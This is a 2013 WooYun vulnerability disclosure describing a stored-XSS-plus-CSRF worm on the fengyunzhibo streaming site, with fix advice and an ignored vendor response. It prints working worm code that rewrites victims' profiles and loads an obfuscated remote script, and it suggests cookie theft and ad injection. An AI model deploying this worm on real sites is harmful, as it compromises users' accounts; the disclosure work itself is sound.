当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044666

漏洞标题:风云直播利用某xss可以形成蠕虫的例子

相关厂商:风云直播

漏洞作者: 无尘

提交时间:2013-12-02 13:15

修复时间:2013-12-07 13:16

公开时间:2013-12-07 13:16

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-02: 细节已通知厂商并且等待厂商处理中
2013-12-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

利用站内的XSS漏洞,结合站内信CSRF进行蠕虫式传播。

详细说明:

此方法特点:
1、可XSS+CSRF形成持久蠕虫,可通过编码强制修改用户操作。因modify.html被影响,所以可拦截被感染用户操作。
2、盗用cookie,钓用户,直接偷金矿,甚至可以形成定向攻击。比如通过
http://gm.fengyunzhibo.com/gamble/ 找到需要黑的土豪。(尽快隐蔽起来吧)
3、引用外部JS文件,让所有操作都成为可能。
通过个人信息中XSS,配合修改个人资料的CSRF可编码蠕虫。因站内类似问题较多,可利用多种方式组合实现蠕虫功能。 (当前触发测试的仅在用户信息页面)
4、不可小视,形成一定的量后,挂广告应该是笔不错的收益。
简单说下原理流程:
1、通过个人信息的头像字段进行XSS。http://user.fengyunzhibo.com/modify.htm 我的例子中没有做太多的兼容,有心的话可以不同输出页面的兼容,让用户无法发掘被植入了非安全代码。请求原型:

$.ajax({
url:"http://user.fengyunzhibo.com/usermanager",
type:"post",
data:{
op:"uname",
id:"1419428",
data:"{uname:'无尘_xx',figureurl:'http://www.soso.com/soso/images/logo_index.png\" id=user-avatar /><img src=a onerror=$(this).hide().attr(\"id\",\"xyz\");alert(String.fromCharCode(104,116,116,112,58,47,47,98,108,111,103,46,115,101,108,97,110,103,115,104,105,119,111,46,99,111,109)) a=\"',location:'北京 东城',signature:'helloKitty',gender:'1'}"
}
});


为了不对原始输出造成可察觉影响,其中补完了原始URL地址后,后面用<img >的onerror触发脚本。(兼容代码)
2、这里是高潮,为了解决跨域问题,满足触发条件后,隐藏打开iframe跳转至被感染user.fengyunzhibo.com域下的页面,通过modify.htm页面获取待被感染用户的信息,构建请求完成感染。以下仅实现了部分功能,作为样例。

(function(){
/*cookie辅助*/
$.cookie = function(n,v){
var c = document.cookie ;
if(n&&!v){
var cs = c.indexOf(n+"=");
if(cs!=-1){
cs += n.length + 1;
ce = c.indexOf(";",cs);
if(ce==-1)
ce=c.length;
return unescape(c.substring(cs,ce));
}
return null ;
}

if(n&&v){
document.cookie=n+"="+escape(v) ;
}
};

if($.cookie("u")){
if($("#w_uinfo")[0]==undefined){
$("body").append("<iframe id='w_uinfo' style='display:none'></iframe>");
$("#w_uinfo").load(function(){
//发送请求前,需要检查url是否已被利用,不重复发起.
var uInfoFrame = $("#w_uinfo").contents() ;
//console.log(uInfoFrame.find("#uname-input").val().trim());
//console.log(uInfoFrame.find("#def").attr("src"));
//console.log(uInfoFrame.find('input[name="sex"]:checked').val());
//console.log(uInfoFrame.find("#ddlProvince").val()+" "+uInfoFrame.find("#ddlCity").val());
//console.log(uInfoFrame.find(".signature-input").text());

$.ajax({
url:"http://user.fengyunzhibo.com/usermanager",
type:"post",
data:{
op:"uname",
id:$.cookie("u"),
data:"{'uname':'"+uInfoFrame.find("#uname-input").val().trim()+"',"
+"'figureurl':'"+uInfoFrame.find("#def").attr("src")+""
+"\" id=user-avatar /><img src=a onerror=$(this).hide().attr(\"id\",\"xyz\");window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,115,101,108,97,110,103,115,104,105,119,111,46,99,111,109,47,97,100,47,97,100,95,121,117,110,103,102,101,110,103,122,104,105,98,111,46,106,115);document.body.appendChild(window.s) a=\""
+"',"
+"'location':'"+uInfoFrame.find("#ddlProvince").val()+" "+uInfoFrame.find("#ddlCity").val()+"',"
+"'signature':'"+uInfoFrame.find(".signature-input").text()+"','gender':'"+uInfoFrame.find('input[name="sex"]:checked').val()+"'}"
},
success:function(r){
if(r == "ok"){
alert("感染成功");
$.cookie("xyz"+$.cookie("u"):"822696");
}
}
});
});
$("#w_uinfo").attr("src","http://user.fengyunzhibo.com/modify.htm");
}
}
})();


3、感染后,可通过远程脚本构建其他功能。

漏洞证明:

以下截图用于证明脚本正常触发,具体功能参照详细描述。
信息卡页面:
http://user.fengyunzhibo.com/home.htm?uid=1419428

QQ截图20131202104023.png


个人信息修改页面:
http://user.fengyunzhibo.com/modify.htm

QQ截图20131202104158.png

修复方案:

最简单的方法,在录入用户信息时,增加过滤。
最妥当的方法,录入信息增加过滤后,对所有输出内容进行二次过滤。
另外查找站内其他的CSRF,进行修改,我记得之前跟你们发了一个邮件,是关于抽奖的CSRF的。
http://forum.fengyunzhibo.com:9002/forum.php?mod=viewthread&tid=1807&extra=
这种问题虽然表面影响不大,但会在特殊情况下造成很严重的问题。如果我的蠕虫里带有自动抽奖的脚本,后果你懂的。
因为是你们节目的老星际粉,技术问题全力支持,可直接联系我。
联系方式:曾经给 [email protected] 发过一封邮件关于抽奖的,标题《抽奖的CSRF BUG》,时间 2013年10月14日(星期一) 上午9:16

版权声明:转载请注明来源 无尘@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-12-07 13:16

厂商回复:

最新状态:

暂无